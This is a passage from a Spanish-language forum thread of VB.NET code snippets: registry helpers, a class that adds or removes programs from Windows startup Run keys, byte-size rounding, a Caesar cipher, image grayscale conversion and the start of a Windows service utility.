  276.    For Each reg As RegEdit.RegInfo In regInfoValueNameCol
  277.        Debug.WriteLine(reg.RootKeyName)
  278.        Debug.WriteLine(reg.SubKeyPath)
  279.        Debug.WriteLine(reg.ValueName)
  280.        Debug.WriteLine(reg.ValueData.ToString)
  281.        Debug.WriteLine("")
  282.    Next reg
  283.  
  284. ----------------
  285. Find Value Data
  286. ----------------
  287.  
  288.    Dim regInfoValueDataCol As IEnumerable(Of RegEdit.Reginfo) =
  289.        RegEdit.FindValueData(rootKeyName:="HKCU",
  290.                              subKeyPath:="Subkey Path",
  291.                              valueData:="Value Data",
  292.                              matchFullData:=False,
  293.                              ignoreCase:=True,
  294.                              searchOption:=IO.SearchOption.AllDirectories)
  295.  
  296.    For Each reg As RegEdit.RegInfo In regInfoValueDataCol
  297.        Debug.WriteLine(reg.RootKeyName)
  298.        Debug.WriteLine(reg.SubKeyPath)
  299.        Debug.WriteLine(reg.ValueName)
  300.        Debug.WriteLine(reg.ValueData.ToString)
  301.        Debug.WriteLine("")
  302.    Next reg
  303.  
  304. ----------------
  305. Get...
  306. ----------------
  307.  
  308.    Dim rootKeyName As String = RegEdit.GetRootKeyName(registryPath:="HKCU\Subkey Path\")
  309.    Dim subKeyPath As String = RegEdit.GetSubKeyPath(registryPath:="HKCU\Subkey Path\")
  310.    Dim rootKey As Microsoft.Win32.RegistryKey = RegEdit.GetRootKey(registryPath:="HKCU\Subkey Path\")
  311.  
  312. ----------------
  313. Get Value Data
  314. ----------------
  315.  
  316.    Dim dataObject As Object = RegEdit.GetValueData(rootKeyName:="HKCU",
  317.                                                    subKeyPath:="Subkey Path",
  318.                                                    valueName:="Value Name")
  319.  
  320.    Dim dataString As String = RegEdit.GetValueData(Of String)(fullKeyPath:="HKCU\Subkey Path\",
  321.                                                               valueName:="Value Name",
  322.                                                               registryValueOptions:=Microsoft.Win32.RegistryValueOptions.DoNotExpandEnvironmentNames)
  323.  
  324.    Dim dataByte As Byte() = RegEdit.GetValueData(Of Byte())(regInfo:=regInfoByte,
  325.                                                             registryValueOptions:=Microsoft.Win32.RegistryValueOptions.None)
  326.    Debug.WriteLine("dataByte=" & String.Join(",", dataByte))
  327.  
  328. -----------------
  329. Set UserAccessKey
  330. -----------------
  331.  
  332. RegEdit.SetUserAccessKey(fullKeyPath:="HKCU\Subkey Path",
  333.                         userAccess:={RegEdit.ReginiUserAccess.AdministratorsFullAccess})
  334.  
  335. RegEdit.SetUserAccessKey(rootKeyName:="HKCU",
  336.                         subKeyPath:="Subkey Path",
  337.                         userAccess:={RegEdit.ReginiUserAccess.AdministratorsFullAccess,
  338.                                      RegEdit.ReginiUserAccess.CreatorFullAccess,
  339.                                      RegEdit.ReginiUserAccess.SystemFullAccess})


Código fuente:
http://pastebin.com/cNM1j8Uh

Saludos!


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 26 Marzo 2015, 11:35 am
Este snippet sirve para añadir o eliminar de forma muuuuuy sencilla :P un archivo/aplicación al Startup de Windows mediante el registro, con características interesantes...

Modo de empleo:
Código
  1. WinStartupUtil.Add(UserType.CurrentUser, StartupType.Run, KeyBehavior.System32,
  2.                   title:="Application Title",
  3.                   filePath:="C:\Application.exe",
  4.                   arguments:="/Arguments",
  5.                   secureModeByPass:=True)

Código
  1. WinStartupUtil.Remove(UserType.CurrentUser, StartupType.Run, KeyBehavior.System32,
  2.                      title:="Application Title",
  3.                      throwOnMissingValue:=True)


Source:
Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 25-March-2015
  4. ' ***********************************************************************
  5. ' <copyright file="WinStartupUtil.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. 'WinStartupUtil.Add(WinStartupUtil.UserType.CurrentUser,
  13. '                   WinStartupUtil.StartupType.Run,
  14. '                   WinStartupUtil.KeyBehavior.System32,
  15. '                   title:="Application Title",
  16. '                   filePath:="C:\Application.exe",
  17. '                   secureModeByPass:=True)
  18.  
  19. 'WinStartupUtil.Remove(WinStartupUtil.UserType.CurrentUser,
  20. '                      WinStartupUtil.StartupType.Run,
  21. '                      WinStartupUtil.KeyBehavior.System32,
  22. '                      title:="Application Title",
  23. '                      throwOnMissingValue:=True)
  24.  
  25. #End Region
  26.  
  27. #Region " Option Statements "
  28.  
  29. Option Explicit On
  30. Option Strict On
  31. Option Infer Off
  32.  
  33. #End Region
  34.  
  35. #Region " Imports "
  36.  
  37. Imports Microsoft.Win32
  38.  
  39. #End Region
  40.  
  41. #Region " WinStartupUtil "
  42.  
  43.  
  44. ''' <summary>
  45. ''' Adds or removes an application to Windows Startup.
  46. ''' </summary>
  47. Public NotInheritable Class WinStartupUtil
  48.  
  49. #Region " Properties "
  50.  
  51.    ''' <summary>
  52.    ''' Gets the 'Run' registry subkey path.
  53.    ''' </summary>
  54.    ''' <value>The 'Run' registry subkey path.</value>
  55.    Public Shared ReadOnly Property RunSubKeyPath As String
  56.        Get
  57.            Return "Software\Microsoft\Windows\CurrentVersion\Run"
  58.        End Get
  59.    End Property
  60.  
  61.    ''' <summary>
  62.    ''' Gets the 'Run' registry subkey path for x86 appications on x64 operating system.
  63.    ''' </summary>
  64.    ''' <value>The 'Run' registry subkey path for x86 appications on x64 operating system.</value>
  65.    Public Shared ReadOnly Property RunSubKeyPathSysWow64 As String
  66.        Get
  67.            Return "Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run"
  68.        End Get
  69.    End Property
  70.  
  71.    ''' <summary>
  72.    ''' Gets the 'RunOnce' registry subkey path.
  73.    ''' </summary>
  74.    ''' <value>The 'RunOnce' registry subkey path.</value>
  75.    Public Shared ReadOnly Property RunOnceSubKeyPath As String
  76.        Get
  77.            Return "Software\Microsoft\Windows\CurrentVersion\RunOnce"
  78.        End Get
  79.    End Property
  80.  
  81.    ''' <summary>
  82.    ''' Gets the 'RunOnce' registry subkey path for x86 appications on x64 operating system.
  83.    ''' </summary>
  84.    ''' <value>The 'RunOnce' registry subkey path for x86 appications on x64 operating system.</value>
  85.    Public Shared ReadOnly Property RunOnceSubKeyPathSysWow64 As String
  86.        Get
  87.            Return "Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce"
  88.        End Get
  89.    End Property
  90.  
  91. #End Region
  92.  
  93. #Region " Enumerations "
  94.  
  95.    ''' <summary>
  96.    ''' Specifies an user type.
  97.    ''' </summary>
  98.    Public Enum UserType As Integer
  99.  
  100.        ''' <summary>
  101.        ''' 'HKEY_CURRENT_USER' root key.
  102.        ''' </summary>
  103.        CurrentUser = &H1
  104.  
  105.        ''' <summary>
  106.        ''' 'HKEY_LOCAL_MACHINE' root key.
  107.        ''' </summary>
  108.        AllUsers = &H2
  109.  
  110.    End Enum
  111.  
  112.    ''' <summary>
  113.    ''' Specifies a Startup type.
  114.    ''' </summary>
  115.    Public Enum StartupType As Integer
  116.  
  117.        ''' <summary>
  118.        ''' 'Run' registry subkey.
  119.        ''' </summary>
  120.        Run = &H1
  121.  
  122.        ''' <summary>
  123.        ''' 'RunOnce' registry subkey.
  124.        ''' </summary>
  125.        RunOnce = &H2
  126.  
  127.    End Enum
  128.  
  129.    ''' <summary>
  130.    ''' Specifies a registry key behavior.
  131.    ''' </summary>
  132.    Public Enum KeyBehavior As Integer
  133.  
  134.        ''' <summary>
  135.        ''' System32 registry subkey.
  136.        ''' </summary>
  137.        System32 = &H1
  138.  
  139.        ''' <summary>
  140.        ''' SysWow64 registry subkey.
  141.        ''' </summary>
  142.        SysWow64 = &H2
  143.  
  144.    End Enum
  145.  
  146. #End Region
  147.  
  148. #Region " Public Methods "
  149.  
  150.    ''' <summary>
  151.    ''' Adds an application to Windows Startup.
  152.    ''' </summary>
  153.    ''' <param name="userType">The type of user.</param>
  154.    ''' <param name="startupType">The type of startup.</param>
  155.    ''' <param name="keyBehavior">The registry key behavior.</param>
  156.    ''' <param name="title">The registry value title.</param>
  157.    ''' <param name="filePath">The application file path.</param>
  158.    ''' <param name="secureModeByPass">
  159.    ''' If set to <c>true</c>, the file is ran even when the user logs into 'Secure Mode' on Windows.
  160.    ''' </param>
  161.    ''' <exception cref="System.ArgumentNullException">title or filePath</exception>
  162.    Public Shared Sub Add(ByVal userType As UserType,
  163.                          ByVal startupType As StartupType,
  164.                          ByVal keyBehavior As KeyBehavior,
  165.                          ByVal title As String,
  166.                          ByVal filePath As String,
  167.                          Optional ByVal arguments As String = "",
  168.                          Optional secureModeByPass As Boolean = False)
  169.  
  170.        If String.IsNullOrEmpty(title) Then
  171.            Throw New ArgumentNullException("title")
  172.  
  173.        ElseIf String.IsNullOrEmpty(filePath) Then
  174.            Throw New ArgumentNullException("filePath")
  175.  
  176.        Else
  177.            If secureModeByPass Then
  178.                title = title.Insert(0, "*")
  179.            End If
  180.  
  181.            Dim regKey As RegistryKey = Nothing
  182.            Try
  183.                regKey = GetRootKey(userType).OpenSubKey(GetSubKeyPath(startupType, keyBehavior), writable:=True)
  184.                regKey.SetValue(title, String.Format("""{0}"" {1}", filePath, arguments), RegistryValueKind.String)
  185.  
  186.            Catch ex As Exception
  187.                Throw
  188.  
  189.            Finally
  190.                If regKey IsNot Nothing Then
  191.                    regKey.Close()
  192.                End If
  193.  
  194.            End Try
  195.  
  196.        End If
  197.  
  198.    End Sub
  199.  
  200.    ''' <summary>
  201.    ''' Removes an application from Windows Startup.
  202.    ''' </summary>
  203.    ''' <param name="userType">The type of user.</param>
  204.    ''' <param name="startupType">The type of startup.</param>
  205.    ''' <param name="keyBehavior">The registry key behavior.</param>
  206.    ''' <param name="title">The value name to find.</param>
  207.    ''' <param name="throwOnMissingValue">if set to <c>true</c>, throws an exception on missing value.</param>
  208.    ''' <exception cref="System.ArgumentNullException">title</exception>
  209.    ''' <exception cref="System.ArgumentException">Registry value not found.;title</exception>
  210.    Friend Shared Sub Remove(ByVal userType As UserType,
  211.                             ByVal startupType As StartupType,
  212.                             ByVal keyBehavior As KeyBehavior,
  213.                             ByVal title As String,
  214.                             Optional ByVal throwOnMissingValue As Boolean = False)
  215.  
  216.        If String.IsNullOrEmpty(title) Then
  217.            Throw New ArgumentNullException("title")
  218.  
  219.        Else
  220.            Dim valueName As String = String.Empty
  221.            Dim regKey As RegistryKey = Nothing
  222.  
  223.            Try
  224.                regKey = GetRootKey(userType).OpenSubKey(GetSubKeyPath(startupType, keyBehavior), writable:=True)
  225.  
  226.                If regKey.GetValue(title, defaultValue:=Nothing) IsNot Nothing Then
  227.                    valueName = title
  228.  
  229.                ElseIf regKey.GetValue(title.Insert(0, "*"), defaultValue:=Nothing) IsNot Nothing Then
  230.                    valueName = title.Insert(0, "*")
  231.  
  232.                Else
  233.                    If throwOnMissingValue Then
  234.                        Throw New ArgumentException("Registry value not found.", "title")
  235.                    End If
  236.  
  237.                End If
  238.  
  239.                regKey.DeleteValue(valueName, throwOnMissingValue:=throwOnMissingValue)
  240.  
  241.            Catch ex As Exception
  242.                Throw
  243.  
  244.            Finally
  245.                If regKey IsNot Nothing Then
  246.                    regKey.Close()
  247.                End If
  248.  
  249.            End Try
  250.  
  251.        End If
  252.  
  253.    End Sub
  254.  
  255. #End Region
  256.  
  257. #Region " Private Methods "
  258.  
  259.    ''' <summary>
  260.    ''' Gets a <see cref="RegistryKey"/> instance of the specified root key.
  261.    ''' </summary>
  262.    ''' <param name="userType">The type of user.</param>
  263.    ''' <returns>A <see cref="RegistryKey"/> instance of the specified root key.</returns>
  264.    ''' <exception cref="System.ArgumentException">Invalid enumeration value.;userType</exception>
  265.    Private Shared Function GetRootKey(ByVal userType As UserType) As RegistryKey
  266.  
  267.        Select Case userType
  268.  
  269.            Case userType.CurrentUser
  270.                Return Registry.CurrentUser
  271.  
  272.            Case userType.AllUsers
  273.                Return Registry.LocalMachine
  274.  
  275.            Case Else
  276.                Throw New ArgumentException("Invalid enumeration value.", "userType")
  277.  
  278.        End Select ' userType
  279.  
  280.    End Function
  281.  
  282.    ''' <summary>
  283.    ''' Gets the proper registry subkey path from the parameters criteria.
  284.    ''' </summary>
  285.    ''' <param name="startupType">Type of the startup.</param>
  286.    ''' <param name="keyBehavior">The key behavior.</param>
  287.    ''' <returns>The registry subkey path.</returns>
  288.    ''' <exception cref="System.ArgumentException">
  289.    ''' Invalid enumeration value.;startupType or
  290.    ''' Invalid enumeration value.;keyBehavior
  291.    ''' </exception>
  292.    Private Shared Function GetSubKeyPath(ByVal startupType As StartupType,
  293.                                          ByVal keyBehavior As KeyBehavior) As String
  294.  
  295.        Select Case keyBehavior
  296.  
  297.            Case keyBehavior.System32
  298.  
  299.                Select Case startupType
  300.  
  301.                    Case startupType.Run
  302.                        Return RunSubKeyPath
  303.  
  304.                    Case startupType.RunOnce
  305.                        Return RunOnceSubKeyPath
  306.  
  307.                    Case Else
  308.                        Throw New ArgumentException("Invalid enumeration value.", "startupType")
  309.  
  310.                End Select ' startupType
  311.  
  312.            Case keyBehavior.SysWow64
  313.  
  314.                Select Case startupType
  315.  
  316.                    Case startupType.Run
  317.                        Return RunSubKeyPathSysWow64
  318.  
  319.                    Case startupType.RunOnce
  320.                        Return RunOnceSubKeyPathSysWow64
  321.  
  322.                    Case Else
  323.                        Throw New ArgumentException("Invalid enumeration value.", "startupType")
  324.  
  325.                End Select ' startupType
  326.  
  327.            Case Else
  328.                Throw New ArgumentException("Invalid enumeration value.", "keyBehavior")
  329.  
  330.        End Select ' keyBehavior
  331.  
  332.    End Function
  333.  
  334. #End Region
  335.  
  336. End Class
  337.  
  338. #End Region


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 7 Abril 2015, 10:19 am
El siguiente snippet sirve para "redondear" una cantidad de bytes a la unidad de tamaño más apróximada, con soporte para precisión decimal y formato personalizado.

Ejemplo de uso:
Código
  1.        For Each unit As RoundByteInfo.SizeUnit In [Enum].GetValues(GetType(RoundByteInfo.SizeUnit))
  2.  
  3.            Dim rByteInfo As New RoundByteInfo(unit)
  4.            Dim stringFormat As String = String.Format("{0} Bytes rounded to {1} {2}.",
  5.                                                       rByteInfo.ByteValue(CultureInfo.CurrentCulture.NumberFormat),
  6.                                                       rByteInfo.RoundedValue(decimalPrecision:=2, numberFormatInfo:=Nothing),
  7.                                                       rByteInfo.UnitLongName)
  8.  
  9.            Debug.WriteLine(stringFormat)
  10.  
  11.        Next unit

Output:
Código:
1 Bytes rounded to 1,00 Bytes.
1.024 Bytes rounded to 1,00 KiloBytes.
1.048.576 Bytes rounded to 1,00 MegaBytes.
1.073.741.824 Bytes rounded to 1,00 GigaBytes.
1.099.511.627.776 Bytes rounded to 1,00 TeraBytes.
1.125.899.906.842.620 Bytes rounded to 1,00 PetaBytes.

Source:
Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 07-April-2015
  4. ' ***********************************************************************
  5. ' <copyright file="RoundByteInfo.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. 'For Each unit As RoundByteInfo.SizeUnit In [Enum].GetValues(GetType(RoundByteInfo.SizeUnit))
  13. '
  14. '    Dim rByteInfo As New RoundByteInfo(unit)
  15. '    Dim stringFormat As String = String.Format("{0} Bytes rounded to {1} {2}.",
  16. '                                               rByteInfo.ByteValue,
  17. '                                               rByteInfo.RoundedValue(decimalPrecision:=2),
  18. '                                               rByteInfo.UnitLongName)
  19. '    Debug.WriteLine(stringFormat)
  20. '
  21. 'Next unit
  22.  
  23. #End Region
  24.  
  25. #Region " Option Statements "
  26.  
  27. Option Explicit On
  28. Option Strict On
  29. Option Infer Off
  30.  
  31. #End Region
  32.  
  33. #Region " Imports "
  34.  
  35. Imports System.Globalization
  36.  
  37. #End Region
  38.  
  39. #Region " RoundByteInfo "
  40.  
  41. ''' <summary>
  42. ''' Rounds the specified byte value to its most approximated size unit.
  43. ''' </summary>
  44. Public NotInheritable Class RoundByteInfo
  45.  
  46. #Region " Properties "
  47.  
  48.    ''' <summary>
  49.    ''' Gets the byte value.
  50.    ''' </summary>
  51.    ''' <value>The byte value.</value>
  52.    Public ReadOnly Property ByteValue As Double
  53.        Get
  54.            Return Me.byteValue1
  55.        End Get
  56.    End Property
  57.  
  58.    ''' <summary>
  59.    ''' Gets the byte value.
  60.    ''' </summary>
  61.    ''' <param name="numberFormatInfo">A custom <see cref="NumberFormatInfo"/> format provider.</param>
  62.    ''' <value>The byte value.</value>
  63.    Public ReadOnly Property ByteValue(ByVal numberFormatInfo As NumberFormatInfo) As String
  64.        Get
  65.            If numberFormatInfo Is Nothing Then
  66.                numberFormatInfo = CultureInfo.CurrentCulture.NumberFormat
  67.            End If
  68.            Return Me.byteValue1.ToString("N0", numberFormatInfo)
  69.        End Get
  70.    End Property
  71.  
  72.    ''' <summary>
  73.    ''' Gets the rounded byte value.
  74.    ''' </summary>
  75.    ''' <value>The rounded byte value.</value>
  76.    Public ReadOnly Property RoundedValue As Double
  77.        Get
  78.            Return Me.roundedValue1
  79.        End Get
  80.    End Property
  81.  
  82.    ''' <summary>
  83.    ''' Gets the rounded value with the specified decimal precision.
  84.    ''' </summary>
  85.    ''' <param name="decimalPrecision">The numeric decimal precision.</param>
  86.    ''' <param name="numberFormatInfo">A custom <see cref="NumberFormatInfo"/> format provider.</param>
  87.    ''' <value>The rounded value with the specified decimal precision.</value>
  88.    Public ReadOnly Property RoundedValue(ByVal decimalPrecision As Integer,
  89.                                          Optional ByVal numberFormatInfo As NumberFormatInfo = Nothing) As String
  90.        Get
  91.            If numberFormatInfo Is Nothing Then
  92.                numberFormatInfo = CultureInfo.CurrentCulture.NumberFormat
  93.            End If
  94.            Return Me.roundedValue1.ToString("N" & decimalPrecision, numberFormatInfo)
  95.        End Get
  96.    End Property
  97.  
  98.    ''' <summary>
  99.    ''' Gets the rounded <see cref="SizeUnit"/>.
  100.    ''' </summary>
  101.    ''' <value>The rounded <see cref="SizeUnit"/>.</value>
  102.    Public ReadOnly Property Unit As SizeUnit
  103.        Get
  104.            Return Me.unit1
  105.        End Get
  106.    End Property
  107.  
  108.    ''' <summary>
  109.    ''' Gets the rounded <see cref="SizeUnit"/> short name.
  110.    ''' </summary>
  111.    ''' <value>The rounded <see cref="SizeUnit"/> short name.</value>
  112.    Public ReadOnly Property UnitShortName As String
  113.        Get
  114.            Return Me.unitShortName1
  115.        End Get
  116.    End Property
  117.  
  118.    ''' <summary>
  119.    ''' Gets the rounded <see cref="SizeUnit"/> long name.
  120.    ''' </summary>
  121.    ''' <value>The rounded <see cref="SizeUnit"/> long name.</value>
  122.    Public ReadOnly Property UnitLongName As String
  123.        Get
  124.            Return Me.unitLongName1
  125.        End Get
  126.    End Property
  127.  
  128.    ''' <summary>
  129.    ''' The byte value.
  130.    ''' </summary>
  131.    Private byteValue1 As Double
  132.  
  133.    ''' <summary>
  134.    ''' The rounded value.
  135.    ''' </summary>
  136.    Private roundedValue1 As Double
  137.  
  138.    ''' <summary>
  139.    ''' The rounded <see cref="SizeUnit"/>.
  140.    ''' </summary>
  141.    Private unit1 As SizeUnit
  142.  
  143.    ''' <summary>
  144.    ''' The rounded <see cref="SizeUnit"/> short name.
  145.    ''' </summary>
  146.    Private unitShortName1 As String
  147.  
  148.    ''' <summary>
  149.    ''' The rounded <see cref="SizeUnit"/> long name.
  150.    ''' </summary>
  151.    Private unitLongName1 As String
  152.  
  153. #End Region
  154.  
  155. #Region " Enumerations "
  156.  
  157.    ''' <summary>
  158.    ''' Specifies a size unit.
  159.    ''' </summary>
  160.    Public Enum SizeUnit As Long
  161.  
  162.        ''' <summary>
  163.        ''' 1 Byte (or 8 bits).
  164.        ''' </summary>
  165.        [Byte] = 1L
  166.  
  167.        ''' <summary>
  168.        ''' Byte-length of 1 KiloByte.
  169.        ''' </summary>
  170.        KiloByte = [Byte] * 1024L
  171.  
  172.        ''' <summary>
  173.        ''' Byte-length of 1 MegaByte.
  174.        ''' </summary>
  175.        MegaByte = KiloByte * KiloByte
  176.  
  177.        ''' <summary>
  178.        ''' Byte-length of 1 GigaByte.
  179.        ''' </summary>
  180.        GigaByte = KiloByte * MegaByte
  181.  
  182.        ''' <summary>
  183.        ''' Byte-length of 1 TeraByte.
  184.        ''' </summary>
  185.        TeraByte = KiloByte * GigaByte
  186.  
  187.        ''' <summary>
  188.        ''' Byte-length of 1 PetaByte.
  189.        ''' </summary>
  190.        PetaByte = KiloByte * TeraByte
  191.  
  192.    End Enum
  193.  
  194. #End Region
  195.  
  196. #Region " Constructors "
  197.  
  198.    ''' <summary>
  199.    ''' Initializes a new instance of the <see cref="RoundByteInfo"/> class.
  200.    ''' </summary>
  201.    ''' <param name="bytes">The byte value.</param>
  202.    ''' <exception cref="System.ArgumentException">Value should be greater than 0.;bytes</exception>
  203.    Public Sub New(ByVal bytes As Double)
  204.  
  205.        If bytes <= 0L Then
  206.            Throw New ArgumentException("Value should be greater than 0.", "bytes")
  207.        Else
  208.            Me.SetRoundByte(bytes)
  209.  
  210.        End If
  211.  
  212.    End Sub
  213.  
  214.    ''' <summary>
  215.    ''' Prevents a default instance of the <see cref="RoundByteInfo"/> class from being created.
  216.    ''' </summary>
  217.    Private Sub New()
  218.    End Sub
  219.  
  220. #End Region
  221.  
  222. #Region " Private Methods "
  223.  
  224.    ''' <summary>
  225.    ''' Rounds the specified byte value to its most approximated <see cref="SizeUnit"/>.
  226.    ''' </summary>
  227.    ''' <param name="bytes">The byte value.</param>
  228.    Private Sub SetRoundByte(ByVal bytes As Double)
  229.  
  230.        Me.byteValue1 = bytes
  231.  
  232.        Select Case bytes
  233.  
  234.            Case Is >= SizeUnit.PetaByte
  235.                Me.roundedValue1 = bytes / SizeUnit.PetaByte
  236.                Me.unit1 = SizeUnit.PetaByte
  237.                Me.unitShortName1 = "PB"
  238.                Me.unitLongName1 = "PetaBytes"
  239.  
  240.            Case Is >= SizeUnit.TeraByte
  241.                Me.roundedValue1 = bytes / SizeUnit.TeraByte
  242.                Me.unit1 = SizeUnit.TeraByte
  243.                Me.unitShortName1 = "TB"
  244.                Me.unitLongName1 = "TeraBytes"
  245.  
  246.            Case Is >= SizeUnit.GigaByte
  247.                Me.roundedValue1 = bytes / SizeUnit.GigaByte
  248.                Me.unit1 = SizeUnit.GigaByte
  249.                Me.unitShortName1 = "GB"
  250.                Me.unitLongName1 = "GigaBytes"
  251.  
  252.            Case Is >= SizeUnit.MegaByte
  253.                Me.roundedValue1 = bytes / SizeUnit.MegaByte
  254.                Me.unit1 = SizeUnit.MegaByte
  255.                Me.unitShortName1 = "MB"
  256.                Me.unitLongName1 = "MegaBytes"
  257.  
  258.            Case Is >= SizeUnit.KiloByte
  259.                Me.roundedValue1 = bytes / SizeUnit.KiloByte
  260.                Me.unit1 = SizeUnit.KiloByte
  261.                Me.unitShortName1 = "KB"
  262.                Me.unitLongName1 = "KiloBytes"
  263.  
  264.            Case Is >= SizeUnit.Byte, Is <= 0
  265.                Me.roundedValue1 = bytes / SizeUnit.Byte
  266.                Me.unit1 = SizeUnit.Byte
  267.                Me.unitShortName1 = "Bytes"
  268.                Me.unitLongName1 = "Bytes"
  269.  
  270.        End Select
  271.  
  272.    End Sub
  273.  
  274. #End Region
  275.  
  276. End Class
  277.  
  278. #End Region


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 11 Abril 2015, 13:38 pm
Una simple función que publiqué en S.O para cifrar/descifrar un String mediante la técnica de Caesar.

Ejemplo de uso:
Código
  1.        Dim value As String = "Hello World!"
  2.  
  3.        Dim encrypted As String = CaesarEncrypt(value, shift:=15)
  4.        Dim decrypted As String = CaesarDecrypt(encrypted, shift:=15)
  5.  
  6.        Debug.WriteLine(String.Format("Unmodified string: {0}", value))
  7.        Debug.WriteLine(String.Format("Encrypted  string: {0}", encrypted))
  8.        Debug.WriteLine(String.Format("Decrypted  string: {0}", decrypted))

Source:
Código
  1.    ''' <summary>
  2.    ''' Encrypts a string using Caesar's substitution technique.
  3.    ''' </summary>
  4.    ''' <remarks> http://en.wikipedia.org/wiki/Caesar_cipher </remarks>
  5.    ''' <param name="text">The text to encrypt.</param>
  6.    ''' <param name="shift">The character shifting.</param>
  7.    ''' <param name="charSet">A set of character to use in encoding.</param>
  8.    ''' <returns>The encrypted string.</returns>
  9.    Public Shared Function CaesarEncrypt(ByVal text As String,
  10.                                         ByVal shift As Integer,
  11.                                         Optional ByVal charSet As String =
  12.                                                        "abcdefghijklmnopqrstuvwxyz" &
  13.                                                        "ABCDEFGHIJKLMNOPQRSTUVWXYZ" &
  14.                                                        "0123456789" &
  15.                                                        "çñáéíóúàèìòùäëïöü" &
  16.                                                        "ÇÑÁÉÍÓÚÀÈÌÒÙÄËÏÖÜ" &
  17.                                                        " ,;.:-_´¨{`^[+*]ºª\!|""#$~%€&¬/()=?¿'¡}*") As String
  18.  
  19.        Dim sb As New System.Text.StringBuilder With {.Capacity = text.Length}
  20.  
  21.        For Each c As Char In text
  22.  
  23.            Dim charIndex As Integer = charSet.IndexOf(c)
  24.  
  25.            If charIndex = -1 Then
  26.                Throw New ArgumentException(String.Format("Character '{0}' not found in character set '{1}'.", c, charSet), "charSet")
  27.  
  28.            Else
  29.                Do Until (charIndex + shift) < (charSet.Length)
  30.                    charIndex -= charSet.Length
  31.                Loop
  32.  
  33.                sb.Append(charSet(charIndex + shift))
  34.  
  35.            End If
  36.  
  37.        Next c
  38.  
  39.        Return sb.ToString
  40.  
  41.    End Function
  42.  
  43.    ''' <summary>
  44.    ''' Decrypts a string using Caesar's substitution technique.
  45.    ''' </summary>
  46.    ''' <remarks> http://en.wikipedia.org/wiki/Caesar_cipher </remarks>
  47.    ''' <param name="text">The encrypted text to decrypt.</param>
  48.    ''' <param name="shift">The character shifting to reverse the encryption.</param>
  49.    ''' <param name="charSet">A set of character to use in decoding.</param>
  50.    ''' <returns>The decrypted string.</returns>
  51.    Public Shared Function CaesarDecrypt(ByVal text As String,
  52.                                         ByVal shift As Integer,
  53.                                         Optional ByVal charSet As String =
  54.                                                        "abcdefghijklmnopqrstuvwxyz" &
  55.                                                        "ABCDEFGHIJKLMNOPQRSTUVWXYZ" &
  56.                                                        "0123456789" &
  57.                                                        "çñáéíóúàèìòùäëïöü" &
  58.                                                        "ÇÑÁÉÍÓÚÀÈÌÒÙÄËÏÖÜ" &
  59.                                                        " ,;.:-_´¨{`^[+*]ºª\!|""#$~%€&¬/()=?¿'¡}*") As String
  60.  
  61.        Return CaesarEncrypt(text, shift, String.Join("", charSet.Reverse))
  62.  
  63.    End Function


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 11 Abril 2015, 15:05 pm
Transformar una imagen a blanco y negro:

Código
  1.    ''' <summary>
  2.    ''' Transforms an image to black and white.
  3.    ''' </summary>
  4.    ''' <param name="img">The image.</param>
  5.    ''' <returns>The black and white image.</returns>
  6.    Public Shared Function GetBlackAndWhiteImage(ByVal img As Image) As Image
  7.  
  8.        Dim bmp As Bitmap = New Bitmap(img.Width, img.Height)
  9.  
  10.        Dim grayMatrix As New System.Drawing.Imaging.ColorMatrix(
  11.            {
  12.                New Single() {0.299F, 0.299F, 0.299F, 0, 0},
  13.                New Single() {0.587F, 0.587F, 0.587F, 0, 0},
  14.                New Single() {0.114F, 0.114F, 0.114F, 0, 0},
  15.                New Single() {0, 0, 0, 1, 0},
  16.                New Single() {0, 0, 0, 0, 1}
  17.            })
  18.  
  19.        Using g As Graphics = Graphics.FromImage(bmp)
  20.  
  21.            Using ia As System.Drawing.Imaging.ImageAttributes = New System.Drawing.Imaging.ImageAttributes()
  22.  
  23.                ia.SetColorMatrix(grayMatrix)
  24.                ia.SetThreshold(0.5)
  25.  
  26.                g.DrawImage(img, New Rectangle(0, 0, img.Width, img.Height), 0, 0, img.Width, img.Height,
  27.                                                 GraphicsUnit.Pixel, ia)
  28.  
  29.            End Using
  30.  
  31.        End Using
  32.  
  33.        Return bmp
  34.  
  35.    End Function


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 14 Abril 2015, 13:09 pm
Una helper class para manejar los servicios de Windows.

Por el momento puede listar, iniciar, detener, y determinar el estado o el modo de inicio de un servicio.
(no lo he testeado mucho en profundidad)

Ejemplos de uso:
Código
  1.        Dim svcName As String = "themes"
  2.        Dim svcDisplayName As String = ServiceUtils.GetDisplayName(svcName)
  3.        Dim svcStatus As ServiceControllerStatus = ServiceUtils.GetStatus(svcName)
  4.        Dim svcStartMode As ServiceUtils.SvcStartMode = ServiceUtils.GetStartMode(svcName)
  5.  
  6.        ServiceUtils.SetStartMode(svcName, ServiceUtils.SvcStartMode.Automatic)
  7.        ServiceUtils.SetStatus(svcName, ServiceUtils.SvcStatus.Stop, wait:=True, throwOnStatusMissmatch:=True)

Source code:
Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 14-April-2015
  4. ' ***********************************************************************
  5. ' <copyright file="ServiceUtils.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. 'Dim svcName As String = "themes"
  13. 'Dim svcDisplayName As String = ServiceUtils.GetDisplayName(svcName)
  14. 'Dim svcStatus As ServiceControllerStatus = ServiceUtils.GetStatus(svcName)
  15. 'Dim svcStartMode As ServiceUtils.SvcStartMode = ServiceUtils.GetStartMode(svcName)
  16.  
  17. 'ServiceUtils.SetStartMode(svcName, ServiceUtils.SvcStartMode.Automatic)
